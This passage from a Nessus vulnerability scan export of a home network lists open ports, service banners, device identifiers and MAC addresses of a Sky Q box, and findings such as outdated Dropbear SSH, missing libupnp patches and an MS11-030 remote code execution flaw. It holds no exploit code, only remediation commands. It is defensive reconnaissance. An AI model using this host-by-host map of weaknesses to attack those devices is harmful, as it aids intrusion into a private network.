against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8008/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		8080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8080/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		9006		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9006/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		9080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9080/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		9091		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9091/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.8		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 2.6
Confidence level : 65
Method : SinFP

 
The remote host is running Linux Kernel 2.6										None								12/9/03		3/9/20

		19506						None		192.168.0.8		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 585 sec
										None								8/26/05		8/27/20

		22964						None		192.168.0.8		tcp		5000		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.8		tcp		8080		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				The service closed the connection without sending any data.
It might be protected by some sort of TCP wrapper.										None								8/19/07		8/18/20

		22964						None		192.168.0.8		tcp		9006		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.8		tcp		9080		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		24260						None		192.168.0.8		tcp		5000		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Length: 0
  Server: AirTunes/211.1
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.8		tcp		9006		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Type: application/json
  Connection: close
  Server: Sky
  Content-Length: 169
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.8		tcp		9080		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Access-Control-Allow-Origin: *
  Cache: no-cache
  Content-Type: application/json
  Connection: close
  Content-Length: 9
  Date: Thu Nov  5 18:15:32 2020
  
Response Body :

status=ok										None								1/30/07		11/22/19

		24260						None		192.168.0.8		tcp		9091		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 426 Upgrade Required


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: WebSocket++/0.4.0
  
Response Body :

										None								1/30/07		11/22/19

		25220						None		192.168.0.8		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.8		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.8:9080
    http://192.168.0.8:49153/description1.xml
    http://192.168.0.8:49153/description0.xml

And advertises these unique service names :

    uuid:SKUSKYMRU=00000000000000001000000000078677::upnp:rootdevice
    uuid:SKUSKYMRU=00000000000000001000000000078677::urn:schemas-upnp-org:device:mdxdevice:1
    uuid:SKUSKYMRU=00000000000000001000000000078677::urn:mdx-netflix-com:service:target:3
    uuid:52554976-3247-4D52-536B-2047ed1ccf9a::upnp:rootdevice
    uuid:52554976-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:device:MRSkyRemote:2
    uuid:52554976-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:service:SkyRemote:1
    uuid:444D5276-3247-4D52-536B-2047ed1ccf9a::upnp:rootdevice
    uuid:444D5276-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:device:MRSkyControl:2
    uuid:444D5276-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:service:SkyPlay:2
    uuid:444D5276-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:service:SkyCM:2
    uuid:444D5276-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:service:SkyRC:2

										None								2/19/09		9/12/18

		35716						None		192.168.0.8		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

20:47:ED:1C:CF:9A : BSkyB Ltd
										None								2/19/09		5/13/20

		45590						None		192.168.0.8		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:linux:linux_kernel:2.6
										None								4/21/10		9/30/20

		70545		CVE-2013-4421		5		Medium		192.168.0.2		tcp		22		Dropbear SSH Server < 2013.59 Multiple Vulnerabilities		The remote SSH service is affected by multiple vulnerabilities.		According to its self-reported banner, the version of Dropbear SSH
running on this port is earlier than 2013.59.  As such, it is
potentially affected by multiple vulnerabilities :

  - A denial of service vulnerability caused by the way the
    'buf_decompress()' function handles compressed files.
    (CVE-2013-4421)

  - User-enumeration is possible due to a timing error when
    authenticating users. (CVE-2013-4434)		Upgrade to the Dropbear SSH 2013.59 or later.		https://matt.ucc.asn.au/dropbear/CHANGES
https://secure.ucc.asn.au/hg/dropbear/rev/0bf76f54de6f
https://secure.ucc.asn.au/hg/dropbear/rev/a625f9e135a4		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2013.59
						3.7				Medium		62958;62993						10/22/13		11/27/19

		54615						None		192.168.0.8		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 65
										None								5/23/11		5/23/11

		70545		CVE-2013-4434		5		Medium		192.168.0.2		tcp		22		Dropbear SSH Server < 2013.59 Multiple Vulnerabilities		The remote SSH service is affected by multiple vulnerabilities.		According to its self-reported banner, the version of Dropbear SSH
running on this port is earlier than 2013.59.  As such, it is
potentially affected by multiple vulnerabilities :

  - A denial of service vulnerability caused by the way the
    'buf_decompress()' function handles compressed files.
    (CVE-2013-4421)

  - User-enumeration is possible due to a timing error when
    authenticating users. (CVE-2013-4434)		Upgrade to the Dropbear SSH 2013.59 or later.		https://matt.ucc.asn.au/dropbear/CHANGES
https://secure.ucc.asn.au/hg/dropbear/rev/0bf76f54de6f
https://secure.ucc.asn.au/hg/dropbear/rev/a625f9e135a4		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2013.59
						3.7				Medium		62958;62993						10/22/13		11/27/19

		57582				6.4		Medium		192.168.0.20		tcp		443		SSL Self-Signed Certificate		The SSL certificate chain for this service ends in an unrecognized
self-signed certificate.		The X.509 certificate chain for this service is not signed by a
recognized certificate authority.  If the remote host is a public host
in production, this nullifies the use of SSL as anyone could establish
a man-in-the-middle attack against the remote host. 

Note that this plugin does not check for certificate chains that end
in a certificate that is not self-signed, but is signed by an
unrecognized certificate authority.		Purchase or generate a proper SSL certificate for this service.				
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=CN/CN=TP-Link
										Medium								1/17/12		4/27/20

		57582				6.4		Medium		192.168.0.25		tcp		8009		SSL Self-Signed Certificate		The SSL certificate chain for this service ends in an unrecognized
self-signed certificate.		The X.509 certificate chain for this service is not signed by a
recognized certificate authority.  If the remote host is a public host
in production, this nullifies the use of SSL as anyone could establish
a man-in-the-middle attack against the remote host. 

Note that this plugin does not check for certificate chains that end
in a certificate that is not self-signed, but is signed by an
unrecognized certificate authority.		Purchase or generate a proper SSL certificate for this service.				
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : CN=02396355-86f2-724c-b621-a89625b919e3
										Medium								1/17/12		4/27/20

		57582				6.4		Medium		192.168.0.26		tcp		443		SSL Self-Signed Certificate		The SSL certificate chain for this service ends in an unrecognized
self-signed certificate.		The X.509 certificate chain for this service is not signed by a
recognized certificate authority.  If the remote host is a public host
in production, this nullifies the use of SSL as anyone could establish
a man-in-the-middle attack against the remote host. 

Note that this plugin does not check for certificate chains that end
in a certificate that is not self-signed, but is signed by an
unrecognized certificate authority.		Purchase or generate a proper SSL certificate for this service.				
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=CN/CN=TP-Link
										Medium								1/17/12		4/27/20

		50686		CVE-1999-0511		5.8		Medium		192.168.0.27		tcp		0		IP Forwarding Enabled		The remote host has IP forwarding enabled.		The remote host has IP forwarding enabled. An attacker can exploit
this to route packets through the host and potentially bypass some
firewalls / routers / NAC filtering. 

Unless the remote host is a router, it is recommended that you disable
IP forwarding.		On Linux, you can disable IP forwarding by doing :

echo 0 > /proc/sys/net/ipv4/ip_forward

On Windows, set the key 'IPEnableRouter' to 0 under

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

On Mac OS X, you can disable IP forwarding by executing the command :

sysctl -w net.inet.ip.forwarding=0

For other systems, check with your vendor.														Medium								11/23/10		3/6/19

		57582				6.4		Medium		192.168.0.28		tcp		443		SSL Self-Signed Certificate		The SSL certificate chain for this service ends in an unrecognized
self-signed certificate.		The X.509 certificate chain for this service is not signed by a
recognized certificate authority.  If the remote host is a public host
in production, this nullifies the use of SSL as anyone could establish
a man-in-the-middle attack against the remote host. 

Note that this plugin does not check for certificate chains that end
in a certificate that is not self-signed, but is signed by an
unrecognized certificate authority.		Purchase or generate a proper SSL certificate for this service.				
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=CN/CN=TP-Link
										Medium								1/17/12		4/27/20

		53514		CVE-2011-0657		10		Critical		192.168.0.31		udp		5355		MS11-030: Vulnerability in DNS Resolution Could Allow Remote Code Execution (2509553) (remote check)		Arbitrary code can be executed on the remote host through the
installed Windows DNS client.		A flaw in the way the installed Windows DNS client processes Link-
local Multicast Name Resolution (LLMNR) queries can be exploited to
execute arbitrary code in the context of the NetworkService account.

Note that Windows XP and 2003 do not support LLMNR and successful
exploitation on those platforms requires local access and the ability
to run a special application. On Windows Vista, 2008, 7, and 2008 R2,
however, the issue can be exploited remotely.		Microsoft has released a set of patches for Windows XP, 2003, Vista,
2008, 7, and 2008 R2.		https://www.nessus.org/u?361871b1				I				8.3				Critical		47242		IAVA:2011-A-0039-S;MSFT:MS11-030		2509553		4/21/11		8/5/20		TRUE		TRUE

		50686		CVE-1999-0511		5.8		Medium		192.168.0.8		tcp		0		IP Forwarding Enabled		The remote host has IP forwarding enabled.		The remote host has IP forwarding enabled. An attacker can exploit
this to route packets through the host and potentially bypass some
firewalls / routers / NAC filtering. 

Unless the remote host is a router, it is recommended that you disable
IP forwarding.		On Linux, you can disable IP forwarding by doing :

echo 0 > /proc/sys/net/ipv4/ip_forward

On Windows, set the key 'IPEnableRouter' to 0 under

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

On Mac OS X, you can disable IP forwarding by executing the command :

sysctl -w net.inet.ip.forwarding=0

For other systems, check with your vendor.														Medium								11/23/10		3/6/19

		66334						None		192.168.0.8		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE (64394) ]

+ Action to take : Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a third party library by a different application, contact the vendor of that application for a fix.


										None								7/8/13		10/16/20

		66717						None		192.168.0.8		udp		5353		mDNS Detection (Local Network)		It is possible to obtain information about the remote host.		The remote service understands the Bonjour (also known as ZeroConf or
mDNS) protocol, which allows anyone to uncover information from the
remote host such as its operating system type and exact version, its
hostname, and the list of services it is running. 

This plugin attempts to discover mDNS used by hosts residing on the same
network segment as Nessus.		Filter incoming traffic to UDP port 5353, if desired.				Nessus was able to extract the following information :

  - mDNS hostname       : skyq.local.

  - Advertised services :
    o Service name      : SkyQKitchen._http._tcp.local.
      Port number       : 13579
    o Service name      : SkyQKitchen._airplay._tcp.local.
      Port number       : 5000
    o Service name      : 2047ED1CCF9A@SkyQKitchen._raop._tcp.local.
      Port number       : 5000

										None								5/31/13		5/31/13

		86420						None		192.168.0.8		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 20:47:ED:1C:CF:9A
										None								10/16/15		5/13/20
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